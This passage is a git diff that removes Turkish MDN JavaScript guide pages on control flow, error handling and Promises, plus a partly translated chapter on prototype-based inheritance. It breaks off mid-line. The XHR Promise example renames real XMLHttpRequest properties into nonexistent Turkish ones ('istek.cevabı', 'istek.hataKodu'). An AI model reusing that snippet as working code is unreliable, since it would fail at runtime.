etki alanı, onları içeren fonksiyon veya .js dosyası kadar geniş bir alanı kapsar, ve bu değişkenler üzerinde yapılan değişiklikler bloğun ötesinde de kalıcılık gösterir. Başka bir deyişle blok ifadeleri, değişkenler için bir etki alanı oluşturmazlar. C ve Java dilinden aşina olduğunuz değişkenden bağımsız blok ifadeleri, JavaScript'te tamamıyla farklı bir davranış sergileyebilirler. Aşağıdaki örneği inceleyelim:</p> - -<pre class="brush: js">var x = 1; -{ - var x = 2; -} -console.log(x); // Ekrandaki çıktı: 2 -</pre> - -<p>Kodun çıktısı 2 olacaktır. Çünkü blok içerisindeki <code>var x</code> ifadesi ile bloktan önce gelen var x ifadesi aynı etki alanı içerisindedir. Eğer üstteki kod C veya Java dilinde olsaydı, ekrandaki çıktı 1 olacaktı.</p> - -<p>ECMAScript 6 ile birlikte gelen <code>let</code> tanımıyla oluşturulan değişkenler, blok seviyesinde etki alanına sahiptir. Daha fazla bilgi için {{jsxref("Statements/let", "let")}} sayfasına bakınız.</p> - -<h2 id="Koşullu_ifadeler">Koşullu ifadeler</h2> - -<p>Belirli bir koşul sağlandığında çalışacak komutlar kümesine <strong>koşullu ifade</strong> denilir. JavaScript, iki adet koşullu ifadeyi destekler: <code>if...else</code> ve <code>switch</code>.</p> - -<h3 id="if...else_ifadesi"><code>if...else</code> ifadesi</h3> - -<p>Belirli bir mantıksal durum sağlandığında bir ifadenin çalıştırılması için <code>if</code> ifadesi kullanılır. Mantıksal durum sağlanmadığında çalıştırılacak komutlar için ise <code>else</code> kelimesi kullanıılabilir. Bir <code>if</code> ifadesi aşağıdaki şekilde oluşturulur:</p> - -<pre class="syntaxbox">if (mantıksal_durum) { - ifade_1; -} else { - ifade_2; -}</pre> - -<p><code>mantıksal_durum</code>, true veya false değerler alabilen herhangi bir ifade olabilir. Eğer <code>mantıksal_durum, </code>true olursa <code>ifade_1</code> çalışacak; aksi halde, <code>ifade_2</code> is çalışacaktır. <code>ifade_1</code> ve <code>ifade_2 ifadeleri</code>, çalıştırılacak herhangi bir ifade olabilir.</p> - -<p>Birçok mantıksal durumun kontrolünün bütün bir halde yapılabilmesi için aşağıdaki şekilde <code>else if</code> tanımlamalarını kullanabilirsiniz.</p> - -<pre class="syntaxbox">if (mantıksal_durum_1) { - ifade_1; -} else if (mantıksal_durum_2) { - ifade_2; -} else if (mantıksal_durum_n) { - ifade_n; -} else { - ifade_son; -} -</pre> - -<p>Üstteki gibi çoklu mantıksal durumların olduğu ifadelerde, yalnızca <code>true</code> olan ilk mantıksal durum çalıştırılır, ilişkili diğer kontrol ifadeleri çalıştırılmaz. Birçok ifadenin çalıştırılması için ifadeler, blok ifadesi (<code>{ ... }</code>) içerisinde gruplandırılır. Özellikle iç içe <code>if</code> ifadelerinin olduğu durumlar başta olmak üzere blok ifadeleri, geliştiriciler arasında yaygın olarak kullanılmaktadır:</p> - -<pre class="syntaxbox">if (mantıksal_durum) { - eğer_durum_true_ise_çalışacak_ifade_1; - eğer_durum_true_ise_çalışacak_ifade_2; -} else { - eğer_durum_false_ise_çalışacak_ifade_3; - eğer_durum_false_ise_çalışacak_ifade_4; -} -</pre> - -<div><code>mantıksal_durum</code> kısmında herhangi bir değişkene değer atamak yanlış bir kullanımdır, çünkü kodunuza sizden sonra bakan biri atama işlemini ilk bakışta eşitlik olarak görebilir. Örneğin aşağıdaki şekilde bir kullanım yanlıştır:</div> - -<div></div> - -<pre class="example-bad brush: js">if (x = y) { - /* diğer ifadeler */ -} -</pre> - -<p>Eğer <code>mantıksal_durum</code> kısmında gerçekten atama yapmanız gerekiyorsa, bunu yapmanın en iyi yolu atama ifadesini parantezler içerisine almaktır. Örneğin:</p> - -<pre class="brush: js">if ((x = y)) { - /* diğer ifadeler */ -} -</pre> - -<h4 id="Yanlışımsı_falsy_değerler">Yanlışımsı (falsy) değerler</h4> - -<p>Aşağıdaki değerler JavaScript tarafından false olarak değerlendirilir ve ({{Glossary("Falsy")}} değerler olarak bilinir):</p> - -<ul> - <li><code>false</code></li> - <li><code>undefined</code></li> - <li><code>null</code></li> - <li><code>0</code></li> - <li><code>NaN</code></li> - <li>Boş string (<code>""</code>)</li> -</ul> - -<p>Mantıksal durum içerisine alınan diğer bütün değerler ve nesneler, JavaScript tarafından true olarak değerlendirilir.</p> - -<p>{{jsxref("Boolean")}} nesnesindeki true ve false ile ilkel tipteki <code>true</code> ve <code>false</code> değerlerini karıştırmayınız. Örneğin:</p> - -<pre class="brush: js">var b = new Boolean(false); -if (b) // bu ifade true olarak değerlendirilir -</pre> - -<h4 id="Örnek_2"><strong>Örnek</strong></h4> - -<p>Aşağıdaki örnekte bulunan <code>checkData</code> fonksiyonu, HTML dokümanındaki formda yer alan <code>ikiKarakter</code> isimli girdi nesnesine ait değerin, karakter sayısı 2 ise <code>true</code> döndürülür, değilse ekrana bir uyarı metni basılır ve <code>false</code> döndürülür:</p> - -<pre class="brush: js">function checkData() { - if (document.form1.ikiKarakter.value.length == 2) { - return true; - } else { - alert("Tam olarak iki karakter giriniz. " + - document.form1.ikiKarakter.value + " geçersizdir."); - return false; - } -} -</pre> - -<h3 id="switch_ifadesi"><code>switch</code> ifadesi</h3> - -<p>Bir <code>switch</code> ifadesine, mantıksal bir ifade verilir ve bu ifade ile eşleşen bir etiket varsa, etiketi içeren <code>case</code> ifadesi çalıştırılır, yoksa varsayılan ifade (<code>default)</code> çalıştırılır. Örnek:</p> - -<pre class="syntaxbox">switch (mantıksal_ifade) { - case etiket_1: - ifadeler_1 - [break;] - case etiket_2: - ifadeler_2 - [break;] - ... - default: - varsayılan_ifadeler - [break;] -} -</pre> - -<p>Üstteki kodu çalıştırırken JavaScript, <code>mantıksal_ifade</code> ile eşleşen etikete sahip <code>case</code> cümleciğini arar ve ilişkili ifadeleri çalıştırır. Eğer eşleşen hiçbir etiket bulunamadıysa, <code>default</code> cümleciğinin olup olmadığına bakar, varsa ve ilgili varsayılan ifadeleri çalıştırır. Eğer <code>default</code> cümleciği de yoksa, <code>switch</code> bloğundan çıkılır. <code>default</code> cümleciğinin sırası önemli olmamakla birlikte, genel kullanımlarda hep en sonda yer almaktadır.</p> - -<p>Her <code>case</code> cümleciğinde, isteğe bağlı olarak konulan <code>break</code> ifadesi, eşleşen ifadenin çalıştırılıp tamamlandıktan sonra switch bloğundan çıkmayı sağlar. Eğer <code>break</code> ifadesi yazılmazsa, program <code>switch</code> ifadesi içerisindeki bir sonraki case ifadesini çalıştırarak yoluna devam eder. </p> - -<h4 id="Örnek_3"><strong>Örnek</strong></h4> - -<p>Aşağıdaki örnekte, <code>meyve</code> ifadesinin değeri "Muz" ise, program "Muz" değeri ile eşleşen <code>case</code> "Muz" ifadesini çalıştırır. <code>break</code> ile karşılaşıldığında, program <code>switch</code> bloğundan çıkar ve <code>switch</code> bloğundan sonraki kodları çalıştırır. Eğer <code>break</code> ifadesi olmasaydı, "Muz" ile alakasız olan, <code>case "Kiraz"</code> ifadesi de çalıştırılacaktı.</p> - -<pre class="brush: js">switch (meyve) { - case "Portakal": - console.log("Portakalların kilosu ₺1.99 lira."); - break; - case "Elma": - console.log("Elmaların kilosu ₺1.49 lira."); - break; - case "Muz": - console.log("Muzların kilosu ₺2.49 lira."); - break; - case "Kiraz": - console.log("Kirazların kilosu ₺2.19 lira."); - break; - case "Çilek": - console.log("Çileklerin kilosu ₺2.49 lira."); - break; - case "Avokado": - console.log("Avokadoların kilosu ₺5.99 lira."); - break; - default: - console.log("Maalesef elimizde hiç " + meyve + " kalmadı."); -} -console.log("Başka bir şey lazım mı?");</pre> - -<h2 id="Exception_Hata_yakalama_ifadeleri">Exception (Hata) yakalama ifadeleri</h2> - -<p><code>throw</code> ifadesi ile exception fırlatabilir, <code>try...catch</code> ifadeleri kullanarak hata yakalama işlemlerinizi yürütebilirsiniz.</p> - -<ul> - <li><code><a href="#throw_ifadesi">throw ifadesi</a></code></li> - <li><a href="#try...catch_ifadesi"><code>try...catch</code> ifadesi</a></li> -</ul> - -<h3 id="Exception_türleri">Exception türleri</h3> - -<p>JavaScript'te neredeyse her nesne fırlatılabilir. Buna rağmen fırlatılacak türdeki nesnelerin hepsi aynı şekilde oluşturulmamışlardır. Sayı ve string değerlerinin hata olarak fırlatılması oldukça yaygın olmasına rağmen, bu amaç için belirli olarak oluşturulan aşağıdaki exception türlerinden birinin kullanılması daha anlamlıdır:</p> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects#Fundamental_objects">ECMAScript exception</a></li> - <li>{{domxref("DOMException")}} ve {{domxref("DOMError")}}</li> -</ul> - -<h3 id="throw_ifadesi"><code>throw</code> ifadesi</h3> - -<p>Bir exception fırlatmak için <code>throw</code> ifadesini kullanılır. Bir exception fırlattığınız zaman, fırlatılacak ifadeyi de belirlersiniz:</p> - -<pre class="syntaxbox">throw ifade; -</pre> - -<p>Herhangi bir türdeki ifadeyi exception olarak fırlatabilirsiniz. Aşağıdaki kodda çeşitli türlerdeki exception'lar fırlatılmaktadır:</p> - -<pre class="brush: js">throw "Hata2"; // String türü -throw 42; // Sayı türü -throw true; // Boolean türü -throw { toString: function() { return "Ben bir nesneyim."; } }; -</pre> - -<div class="note"><strong>Not:</strong> Bir exception fırlatırken ilgili exception nesnesini belirleyebilirsiniz. Daha sonra catch bloğunda hatayı yakaladığınızda ilgili exception nesnesinin özelliklerine erişebilirsiniz. Aşağıdaki ifadede, KullanıcıHatası sınıfından bir nesne oluşturulmakta, ve throw ifadesinde bu nesne fırlatılmaktadır.</div> - -<pre class="brush: js">// KullanıcıHatası türünde nesne oluşturuluyor -function KullanıcıHatası(mesaj){ - this.mesaj=mesaj; - this.adı="KullanıcıHatası"; -} - -// Oluşturulan KullanıcıHatası nesnesinin konsola yazıldığında güzel bir -// ifade yazılması için aşağıdaki şekilde toString() fonksiyonunu override ediyoruz. -KullanıcıHatası.prototype.toString = function () { - return this.adı+ ': "' + this.mesaj+ '"'; -} - -// KullanıcıHatası nesnesi yaratılır ve exception olarak fırlatılır -throw new KullanıcıHatası("Yanlış bir değer girdiniz.");</pre> - -<h3 id="try...catch_ifadesi"><code>try...catch</code> ifadesi</h3> - -<p><code>try...catch</code> ifadesi, çalıştırılması istenen ifadeleri bir blokta tutar. Fırlatılacak exception için bir veya daha fazla ifade belirlenerek, oluşacak bir <code>try...catch</code> ifadesi tarafından yakalanması sağlanır.</p> - -<p><code>try...catch</code> ifadesi, çalıştırılacak bir veya daha fazla komutun yer aldığı, ve try bloğu içerisinde hata oluştuğunda çalışacak ifadeleri içeren, 0 veya daha fazla catch ifadesinin yer aldığı bir <code>try</code> bloğu içerir. Bu şekilde, try içerisinde yer alan başarıyla çalışmasını istediğiniz kodlarda bir sorun oluştuğunda, catch bloğunda bu sorunun üstesinden gelecek kontrolleri yazabilirsiniz. Eğer try bloğu içerisindeki herhangi bir ifade (veya try bloğu içerisinden çağırılan fonksiyon) bir exception fırlatırsa, JavaScript anında <code>catch</code> bloğuna bakar. Eğer try bloğu içerisinde bir exception fırlatılmazsa, <code>catch</code> bloğu çalıştırılmaz ve atlanır. <code>try</code> ve <code>catch </code>bloklarından sonra, eğer varsa <code>finally</code> bloğu da çalıştırılır.</p> - -<p>Aşağıdaki örnekte bir <code>try...catch</code> ifadesi kullanılmaktadır. Fonksiyonda, parametre olarak geçilen ay sayısı değeri baz alınarak, diziden ilgili ayın adı getirilmektedir. Eğer ay sayısı değeri 1-12 arasında değilse, <code>"Geçersiz ay sayısı." </code>değeri exception olarak fırlatılır. catch bloğundaki ayAdı değişkeni de "bilinmeyen" olarak atanır.</p> - -<pre class="brush: js">function getAyAdı(aySayisi) { - aySayisi= aySayisi-1; // Dizi indeksi için aySayisi 1 azaltılır (1=Oca, 12=Ara) - var aylar= ["Oca","Şub","Mar","Nis","May","Haz","Tem", - "Ağu","Eyl","Eki","Kas","Ara"]; - if (aylar[aySayisi] != null) { - return aylar[aySayisi]; - } else { - throw "Geçersiz ay sayısı."; // burada throw ifadesi kullanılıyor - } -} - -try { // denenecek ifadeler - ayAdı = getAyAdı(aySayim); // function could throw exception -} -catch (e) { - ayAdı = "bilinmiyor"; - hatalarımıKaydet(e); // hataların kaydedilmesi için exception nesnesi geçiliyor. -} -</pre> - -<h4 id="The_catch_Block" name="The_catch_Block"><code>catch</code> bloğu</h4> - -<p><code>try</code> bloğunda oluşturulan tüm exception'ların yakalanması için <code>catch</code> bloğunu kullanabilirsiniz.</p> - -<pre class="syntaxbox">catch (exceptionDeğişkeni) { - ifadeler -} -</pre> - -<p><code>catch</code> bloğunda, <code>throw</code> ifadesi tarafından belirlenecek değerin tutulması için bir değişken tanımlanır; bu değişken kullanılarak, fırlatılan exception ile ilgili bilgiler elde edilmiş olur. <code>catch</code> bloğuna girildiğinde JavaScript, bu değişkenin içini doldurur; değişken değeri sadece <code>catch</code> bloğu süresince geçerli kalır; catch bloğu çalışmasını tamamladığında değişken artık mevcut değildir.</p> - -<p>Örneğin aşağıdaki kodda, bir exception fırlatılıyor, ve fırlatıldığı anda otomatik olarak catch bloğuna iletiliyor.</p> - -<pre class="brush: js">try { - throw "hata" // bir exception oluşturur. -} -catch (e) { - // herhangi bir exception'ı yakalamak için oluşturulan ifadeler - hatalarımıKaydet(e) // hataların kaydedilmesi için exception nesnesi geçilir. -} -</pre> - -<h4 id="finally_bloğu"><code>finally</code> bloğu</h4> - -<p><code>finally</code> bloğu, <code>try...catch</code> ifadesinden sonra çalıştırılacak kod satırlarını içerir. finally bloğu, hata olsun veya olmasın çalışır. Eğer hata olmuşsa ve exception fırlatılmışsa, bu hatayı karşılayacak catch bloğu olmasa dahi <code>finally</code> bloğu çalışır. </p> - -<p><code>finally</code> bloğu, hata oluştuğunda bu hataya sebep olan değişkenin kullandığı kaynakların sisteme geri verilmesi için en iyi yerdir. Bu şekilde hata tüm ayrıntılarıyla çözülmüş olur. Aşağıdaki örnekte bir dosya açılmakta, ve sonrasında dosyaya yazma işlemleri için kullanan ifadeler çalıştırılmaktadır (Sunucu taraflı yazılmış koddur. İstemci tarafında dosyaya yazma işlemleri güvenlik açısından engellenmiştir. Eğer dosya, yazmak için açılırken bir exception fırlatılırsa, kod hata vermeden önce <code>finally</code> bloğu çalışır ve erişilecek dosyayı kapatır.</p> - -<pre class="brush: js">dosyaAç(); -try { - dosyayaYaz(veriler); // Bu kısım hata verebilir -} catch(e) { - hatayıKaydetveGöster(e); // Hata ile ilgili bilgiler kaydedilir ve kullanıcıya bir hata mesajı sunulur. -} finally { - dosyayıKapat(); // Dosyayı kapatır (hata olsa da olmasa da). -} -</pre> - -<p>Eğer <code>finally</code> bloğu bir değer geri döndürürse, bu değer, <code>try</code> ve <code>catch</code> içerisindeki return ifadelerine bakmaksızın, <code>try-catch-finally</code> ifadesinin tamamı için geri dönüş değeri haline gelir:</p> - -<pre class="brush: js">function f() { - try { - console.log(0); - throw "hata"; - } catch(e) { - console.log(1); - return true; // Buradaki return ifadesi, - // finally bloğu tamamlanana dek duraklatılır. - console.log(2); // Üstteki return ifadesinden dolayı çalıştırılmaz. - } finally { - console.log(3); - return false; // catch kısmındaki return ifadesinin üstüne yazar ve geçersiz hale getirir. - console.log(4); // return'den dolayı çalıştırılmaz. - } - // Şimdi "return false" ifadesi çalıştırılır ve fonksiyondan çıkılır. - console.log(5); // Çalıştırılmaz. -} -f(); // Konsola 0 1 3 yazar ve false değerini döndürür. -</pre> - -<p><code>finally</code> bloğunun, geri dönüş değerlerinin üstüne yazma etkisi, aynı zamanda <code>catch</code> bloğu içerisindeki exception'lar için de aynı şekilde çalışır:</p> - -<pre class="brush: js">function f() { - try { - throw "hata"; - } catch(e) { - console.log('İçerideki "hata" yakalandı.'); - throw e; // Burası finally bloğu tamamlanana dek duraklatılır. - } finally { - return false; // Önceki "throw" ifadesinin üstüne yazar ve - // throw ifadesini geçersiz hale getirir. - } - // Şimdi "return false" ifadesi çalıştırılır. -} - -try { - f(); -} catch(e) { - // f() fonksiyonundaki throw ifadesi geçersiz hale geldiği için - // buradaki catch bloğu çalıştırılmaz. - console.log('Diğer "hata" yakalandı.'); -} - -// Ekran çıktısı: İçerideki "hata" yakalandı.</pre> - -<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">İçiçe try...catch ifadeleri</h4> - -<p>Bir veya daha fazla iç içe <code>try...catch</code> ifadeleri tanımlayabilirsiniz. Eğer içteki <code>try...catch</code> ifadesinin <code>catch</code> bloğu yoksa, bir dıştaki <code>try...catch</code> ifadesinin c<code>atch</code> bloğu kontrol edilir.</p> - -<h3 id="Error_nesnelerinin_etkili_kullanımı"><code>Error</code> nesnelerinin etkili kullanımı</h3> - -<p><code>Error</code> nesnesinin türüne bağlı olarak, 'name' ve 'message' özellikleri vasıtasıyla daha anlamlı hata mesajları tanımlayabilirsiniz. 'name' özelliği, oluşan hatayı sınıflandırır (örn, 'DOMException' veya 'Error'). 'message' ise hata nesnesinin string'e dönüştürülmesine nazaran genellikle daha kısa bir mesaj sunulmasına olanak tanır.</p> - -<p>Eğer kendi exception nesnelerinizi fırlatıyorsanız ve bu özellikleri kullanarak hatayı anlamlı hale getirmek istiyorsanız <code>Error</code> sınıfının yapıcısının getirdiği avantajlardan faydalanabilirsiniz (örneğin catch bloğunuzun, kendi exception'larınız ile sistem exception'ları arasındaki farkı ayırt edemediği gibi durumlarda). Aşağıdaki örneği inceleyelim:</p> - -<pre class="brush: js">function hatayaMeyilliFonksiyon() { - if (hataVerenFonksiyonumuz()) { - throw (new Error('Hata oluştu')); - } else { - sistemHatasıVerenFonksiyon(); - } -} - -try { - hatayaMeyilliFonksiyon(); -} -catch (e) { - console.log(e.name); // 'Error' yazar - console.log(e.message); // 'Hata oluştu' veya bir JavaScript hata mesajı yazar -}</pre> - -<h2 id="Promise_nesneleri">Promise nesneleri</h2> - -<p>ECMAScript2015 ile birlikte JavaScript'e, asenkron ve geciktirilmiş işlemlerin akış kontrolünün sağlanması için {{jsxref("Promise")}} nesneleri gelmiştir.</p> - -<p>Bir <code>Promise</code> nesnesi aşağıdaki durumlardan birinde bulunur:</p> - -<ul> - <li><em>pending (bekliyor)</em>: başlangıç durumu, henüz çalıştırılmadı.</li> - <li><em>fulfilled (başarıyla çalıştı)</em>: başarılı işlem</li> - <li><em>rejected (hatalı çalıştı)</em>: hatalı işlem.</li> - <li><em>settled (yerleşti)</em>: Promise nesnesi başarıyla veya hatalı olarak çalıştı.</li> -</ul> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p> - -<h3 id="XHR_ile_resim_yükleme">XHR ile resim yükleme</h3> - -<p><code>Promise</code> ve <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> kullanarak bir resmin yüklenmesi için MDN GitHub<a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> sayfasında basit bir örnek mevcuttur. Ayrıca örneği canlı olarak da <a href="http://mdn.github.io/promises-test/">görebilirsiniz</a>. Örnekteki her aşamaya yorum satırları eklenmiştir. Bu sayede Promise ve XHR mimarisini daha yakından izleyebilirsiniz. Aşağıda <code>Promise</code> nesnesinin akışını gösteren örneğin belgelendirilmemiş sürümü bulunmaktadır:</p> - -<pre class="brush: js">function resimYükle(url) { - return new Promise(function(başarıSonucundaFonk, hataSonucundaFonk) { - var istek = new XMLHttpRequest(); - istek.open('GET', url); - istek.responseType = 'blob'; - istek.onload = function() { - if (istek.status === 200) { - başarıSonucundaFonk(istek.cevabı); - } else { - hataSonucundaFonk(Error('Resim yüklenemedi; hata kodu:' - + istek.hataKodu)); - } - }; - istek.onerror = function() { - hataSonucundaFonk(Error('Bir bağlantı hatası oluştu.')); - }; - istek.send(); - }); -}</pre> - -<p>Daha fazla detaylı bilgi için {{jsxref("Promise")}} sayfasına bakınız.</p> - -<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div> diff --git a/files/tr/web/javascript/guide/details_of_the_object_model/index.html b/files/tr/web/javascript/guide/details_of_the_object_model/index.html deleted file mode 100644 index 160959eda2..0000000000 --- a/files/tr/web/javascript/guide/details_of_the_object_model/index.html +++ /dev/null @@ -1,758 +0,0 @@ ---- -title: Details of the object model -slug: Web/JavaScript/Guide/Details_of_the_Object_Model -translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model ---- -<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Using_promises")}}</div> - -<p class="summary">JavaScript is an object-based language based on prototypes, rather than being class-based. Because of this different basis, it can be less apparent how JavaScript allows you to create hierarchies of objects and to have inheritance of properties and their values. This chapter attempts to clarify the situation.</p> - -<p>This chapter assumes that you are already somewhat familiar with JavaScript and that you have used JavaScript functions to create simple objects.</p> - -<h2 id="Class-based_vs._prototype-based_languages">Class-based vs. prototype-based languages</h2> - -<p>Class-based object-oriented languages, such as Java and C++, are founded on the concept of two distinct entities: classes and instances.</p> - -<ul> - <li>A <em>class</em> defines all of the properties that characterize a certain set of objects (considering methods and fields in Java, or members in C++, to be properties). A class is abstract rather than any particular member in a set of objects it describes. For example, the <code>Employee</code> class could represent the set of all employees.</li> - <li>An <em>instance</em>, on the other hand, is the instantiation of a class; that is, one of its members. For example, <code>Victoria</code> could be an instance of the <code>Employee</code> class, representing a particular individual as an employee. An instance has exactly the same properties of its parent class (no more, no less).</li> -</ul> - -<p>A prototype-based language, such as JavaScript, does not make this distinction: it simply has objects. A prototype-based language has the notion of a <em>prototypical object</em>, an object used as a template from which to get the initial properties for a new object. Any object can specify its own properties, either when you create it or at run time. In addition, any object can be associated as the <em>prototype</em> for another object, allowing the second object to share the first object's properties.</p> - -<h3 id="Defining_a_class">Defining a class</h3> - -<p>In class-based languages, you define a class in a separate <em>class definition</em>. In that definition you can specify special methods, called <em>constructors</em>, to create instances of the class. A constructor method can specify initial values for the instance's properties and perform other processing appropriate at creation time. You use the <code>new</code> operator in association with the constructor method to create class instances.</p> - -<p>JavaScript follows a similar model, but does not have a class definition separate from the constructor. Instead, you define a constructor function to create objects with a particular initial set of properties and values. Any JavaScript function can be used as a constructor. You use the <code>new</code> operator with a constructor function to create a new object.</p> - -<div class="blockIndicator note"> -<p>Note that ECMAScript 2015 introduces a <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class declaration</a>:</p> - -<blockquote> -<p>JavaScript classes, introduced in ECMAScript 2015, are primarily syntactical sugar over JavaScript's existing prototype-based inheritance. The class syntax <em>does not</em> introduce a new object-oriented inheritance model to JavaScript.</p> -</blockquote> -</div> - -<h3 id="Subclasses_and_inheritance">Subclasses and inheritance</h3> - -<p>In a class-based language, you create a hierarchy of classes through the class definitions. In a class definition, you can specify that the new class is a <em>subclass</em> of an already existing class. The subclass inherits all the properties of the superclass and additionally can add new properties or modify the inherited ones. For example, assume the <code>Employee</code> class includes only the <code>name</code> and <code>dept</code> properties, and <code>Manager</code> is a subclass of <code>Employee</code> that adds the <code>reports</code> property. In this case, an instance of the <code>Manager</code> class would have all three properties: <code>name</code>, <code>dept</code>, and <code>reports</code>.</p> - -<p>JavaScript implements inheritance by allowing you to associate a prototypical object with any constructor function. So, you can create exactly the <code>Employee</code> — <code>Manager</code> example, but you use slightly different terminology. First you define the <code>Employee</code> constructor function, specifying the <code>name</code> and <code>dept</code> properties. Next, you define the <code>Manager</code> constructor function, calling the <code>Employee</code> constructor and specifying the <code>reports</code> property. Finally, you assign a new object derived from <code>Employee.prototype</code> as the <code>prototype</code> for the <code>Manager</code> constructor function. Then, when you create a new <code>Manager</code>, it inherits the <code>name</code> and <code>dept</code> properties from the <code>Employee</code> object.</p> - -<h3 id="Adding_and_removing_properties">Adding and removing properties</h3> - -<p>In class-based languages, you typically create a class at compile time and then you instantiate instances of the class either at compile time or at run time. You cannot change the number or the type of properties of a class after you define the class. In JavaScript, however, at run time you can add or remove properties of any object. If you add a property to an object that is used as the prototype for a set of objects, the objects for which it is the prototype also get the new property.</p> - -<h3 id="Summary_of_differences">Summary of differences</h3> - -<p>The following table gives a short summary of some of these differences. The rest of this chapter describes the details of using JavaScript constructors and prototypes to create an object hierarchy and compares this to how you would do it in Java.</p> - -<table class="standard-table"> - <caption>Comparison of class-based (Java) and prototype-based (JavaScript) object systems</caption> - <thead> - <tr> - <th scope="row">Category</th> - <th scope="col">Class-based (Java)</th> - <th scope="col">Prototype-based (JavaScript)</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">Class vs. Instance</th> - <td>Class and instance are distinct entities.</td> - <td>Tüm nesneler başka bir nesneden miras alabilir.</td> - </tr> - <tr> - <th scope="row">Definition</th> - <td>Define a class with a class definition; instantiate a class with constructor methods.</td> - <td>Define and create a set of objects with constructor functions.</td> - </tr> - <tr> - <th scope="row">Creation of new object</th> - <td><code>new</code> operatörü ile tek bir nesne oluşturulur.</td> - <td>Aynı.</td> - </tr> - <tr> - <th scope="row">Construction of object hierarchy</th> - <td>Construct an object hierarchy by using class definitions to define subclasses of existing classes.</td> - <td> - <p>Construct an object hierarchy by assigning an object as the prototype associated with a constructor function.</p> - </td> - </tr> - <tr> - <th scope="row">Inheritance model</th> - <td>Inherit properties by following the class chain.</td> - <td>Inherit properties by following the prototype chain.</td> - </tr> - <tr> - <th scope="row">Extension of properties</th> - <td>Class definition specifies <em>all</em> properties of all instances of a class. Cannot add properties dynamically at run time.</td> - <td>Constructor function or prototype specifies an <em>initial set</em> of properties. Can add or remove properties dynamically to individual objects or to the entire set of objects.</td> - </tr> - </tbody> -</table> - -<h2 id="The_employee_example">The employee example</h2> - -<p>The remainder of this chapter uses the employee hierarchy shown in the following figure.</p> - -<div style="display: table-row;"> -<div style="display: table-cell; width: 350px; text-align: center; vertical-align: middle; padding: 10px;"> -<p>A simple object hierarchy with the following objects:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p> -</div> - -<div style="display: table-cell; vertical-align: middle; padding: 10px;"> -<ul> - <li><code>Employee</code> has the properties <code>name</code> (whose value defaults to the empty string) and <code>dept</code> (whose value defaults to "general").</li> - <li><code>Manager</code> is based on <code>Employee</code>. It adds the <code>reports</code> property (whose value defaults to an empty array, intended to have an array of <code>Employee</code> objects as its value).</li> - <li><code>WorkerBee</code> is also based on <code>Employee</code>. It adds the <code>projects</code> property (whose value defaults to an empty array, intended to have an array of strings as its value).</li> - <li><code>SalesPerson</code> is based on <code>WorkerBee</code>. It adds the <code>quota</code> property (whose value defaults to 100). It also overrides the <code>dept</code> property with the value "sales", indicating that all salespersons are in the same department.</li> - <li><code>Engineer</code> is based on <code>WorkerBee</code>. It adds the <code>machine</code> property (whose value defaults to the empty string) and also overrides the <code>dept</code> property with the value "engineering".</li> -</ul> -</div> -</div> - -<h2 id="Creating_the_hierarchy">Creating the hierarchy</h2> - -<p>There are several ways to define appropriate constructor functions to implement the Employee hierarchy. How you choose to define them depends largely on what you want to be able to do in your application.</p> - -<p>This section shows how to use very simple (and comparatively inflexible) definitions to demonstrate how to get the inheritance to work. In these definitions, you cannot specify any property values when you create an object. The newly-created object simply gets the default values, which you can change at a later time.</p> - -<p>In a real application, you would probably define constructors that allow you to provide property values at object creation time (see <a href="#More_flexible_constructors">More flexible constructors</a> for information). For now, these simple definitions demonstrate how the inheritance occurs.</p> - -<p>The following Java and JavaScript <code>Employee</code> definitions are similar. The only difference is that you need to specify the type for each property in Java but not in JavaScript (this is due to Java being a <a href="http://en.wikipedia.org/wiki/Strong_and_weak_typing">strongly typed language</a> while JavaScript is a weakly typed language).</p> - -<div class="twocolumns"> -<h4 id="JavaScript">JavaScript</h4> - -<pre class="brush: js">function Employee() { - this.name = ''; - this.dept = 'general'; -} -</pre> - -<h4 id="Java"><br> - Java</h4> - -<pre class="brush: java">public class Employee { - public String name = ""; - public String dept = "general"; -} -</pre> -</div> - -<p>The <code>Manager</code> and <code>WorkerBee</code> definitions show the difference in how to specify the next object higher in the inheritance chain. In JavaScript, you add a prototypical instance as the value of the <code>prototype</code> property of the constructor function, then override the <code>prototype.constructor</code> to the constructor function. You can do so at any time after you define the constructor. In Java, you specify the superclass within the class definition. You cannot change the superclass outside the class definition.</p> - -<div class="twocolumns"> -<h4 id="JavaScript_2">JavaScript</h4> - -<pre class="brush: js">function Manager() { - Employee.call(this); - this.reports = []; -} -Manager.prototype = Object.create(Employee.prototype); -Manager.prototype.constructor = Manager; - -function WorkerBee() { - Employee.call(this); - this.projects = []; -} -WorkerBee.prototype = Object.create(Employee.prototype); -WorkerBee.prototype.constructor = WorkerBee; -</pre> - -<h4 id="Java_2"><br> - Java</h4> - -<pre class="brush: java">public class Manager extends Employee { - public Employee[] reports = - new Employee[0]; -} - - - -public class WorkerBee extends Employee { - public String[] projects = new String[0]; -} - - -</pre> -</div> - -<p> </p> - -<p>The <code>Engineer</code> and <code>SalesPerson</code> definitions create objects that descend from <code>WorkerBee</code> and hence from <code>Employee</code>. An object of these types has properties of all the objects above it in the chain. In addition, these definitions override the inherited value of the <code>dept</code> property with new values specific to these objects.</p> - -<div class="twocolumns"> -<h4 id="JavaScript_3">JavaScript</h4> - -<pre class="brush: js">function SalesPerson() { - WorkerBee.call(this); - this.dept = 'sales'; - this.quota = 100; -} -SalesPerson.prototype = Object.create(WorkerBee.prototype); -SalesPerson.prototype.constructor = SalesPerson; - -function Engineer() { - WorkerBee.call(this); - this.dept = 'engineering'; - this.machine = ''; -} -Engineer.prototype = Object.create(WorkerBee.prototype) -Engineer.prototype.constructor = Engineer; -</pre> - -<h4 id="Java_3"><br> - Java</h4> - -<pre class="brush: java">public class SalesPerson extends WorkerBee { - public String dept = "sales"; - public double quota = 100.0; -} - - -public 